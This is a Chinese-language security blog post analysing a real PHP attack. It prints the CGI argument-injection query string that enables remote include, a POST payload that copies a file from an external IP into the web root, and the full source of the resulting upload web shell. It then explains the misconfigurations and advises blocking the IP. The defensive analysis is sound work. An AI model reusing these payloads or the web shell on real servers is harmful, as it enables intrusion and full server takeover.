近期安全监测中发现一例典型的 PHP 恶意文件上传 + 远程文件包含攻击行为,攻击者通过构造特殊请求头、利用配置绕过漏洞,实现了恶意脚本的远程写入与执行,一旦中招,服务器控制权将直接被窃取,数据泄露、服务器被沦为 “肉鸡” 风险拉满!今天就带大家拆解这起攻击的全过程,搞懂漏洞原理,做好防护,让黑客无缝可钻!

一、攻击全程拆解,看完一身冷汗
这起攻击分为远程文件包含和恶意文件上传执行两个核心步骤,环环相扣,利用 PHP 配置漏洞完成精准入侵,全程几乎无迹可寻:
步骤 1:构造恶意请求,绕过 PHP 配置限制
攻击者向目标服务器发送精心构造的 POST 请求,在请求路径中嵌入多个 PHP 配置参数:/?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input这里的%AD是 URL 编码的特殊字符,作用是绕过服务器的配置解析限制,强行修改 PHP 运行时配置:
- 开启
allow_url_include=1:允许 PHP 包含远程 URL 中的文件,为后续加载恶意脚本铺路; - 设置
auto_prepend_file=php://input:让 PHP 在执行当前脚本前,先执行php://input里的内容,而php://input正是本次请求的 POST 数据体。
步骤 2:写入恶意代码,远程下载后门文件
md8908901231c6498e156c86f6f3a48a30a828c9b67Fr_qaker<?php echo '<pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>
请求的 POST 数据体中,仅一行简单的 PHP 代码,却暗藏杀机:<?php copy("http://88.214.24.75/up.txt", $_SERVER["DOCUMENT_ROOT"] . "/6v9dyw.php"); ?>这行代码的核心作用是将攻击者远程服务器上的恶意文件 up.txt,直接复制到目标服务器的网站根目录,并命名为 6v9dyw.php—— 一个看似普通的 PHP 文件,实则是黑客留的 “后门”。
步骤 3:恶意后门生效,服务器被完全控制
我们来看攻击者远程服务器上up.txt的内容,这才是真正的 “杀招”:文件中包含 PHP 系统信息打印代码php_uname(),更关键的是自带文件上传表单,且包含文件上传执行逻辑:只要向该文件发送 POST 请求,即可上传任意文件到目标服务器,若复制成功则返回 “OK”,失败则返回 “ER”。简单说,黑客通过这一步,直接在目标服务器上搭建了一个无验证的文件上传入口,后续可以随意上传木马、挖矿程序、远控脚本,服务器从此彻底沦为黑客的 “私有财产”。
二、核心漏洞点:这些 PHP 配置,成了黑客的 “突破口”
这起攻击能成功,核心是利用了 PHP 的配置绕过和危险函数 / 配置开启两大问题,也是很多服务器的常见安全隐患:
allow_url_include开启:PHP 默认该配置为关闭,一旦开启,攻击者可通过include/require包含远程恶意文件,直接执行代码;php://input伪协议被滥用:该伪协议可读取 POST 请求体中的内容,结合auto_prepend_file/auto_append_file,能让 PHP 强行执行请求体中的恶意代码;- 服务器配置解析漏洞:利用
%AD等特殊字符绕过配置限制,强行修改运行时 PHP 参数,让原本关闭的危险配置临时生效; - 危险函数未禁用:
copy()函数未被列入 PHP 禁用函数列表,攻击者可通过该函数实现文件的远程下载与本地写入,此外fopen、file_put_contents等文件操作函数,若未禁用也会成为隐患; - 网站根目录可写:攻击者能将恶意文件写入
DOCUMENT_ROOT(网站根目录),说明该目录配置了过高的写入权限,恶意文件可直接被浏览器访问执行。
三、紧急防护方案:从配置到权限,全方位堵死漏洞
针对这类 PHP 文件上传 + 远程文件包含攻击,无需复杂操作,从配置禁用、函数限制、权限管控、流量监测四个维度入手,即可实现有效防护!
云趣提醒,这个IP 是一个WEB服务器,网站目录下全部是恶意代码文件!建议屏蔽访问这个IP!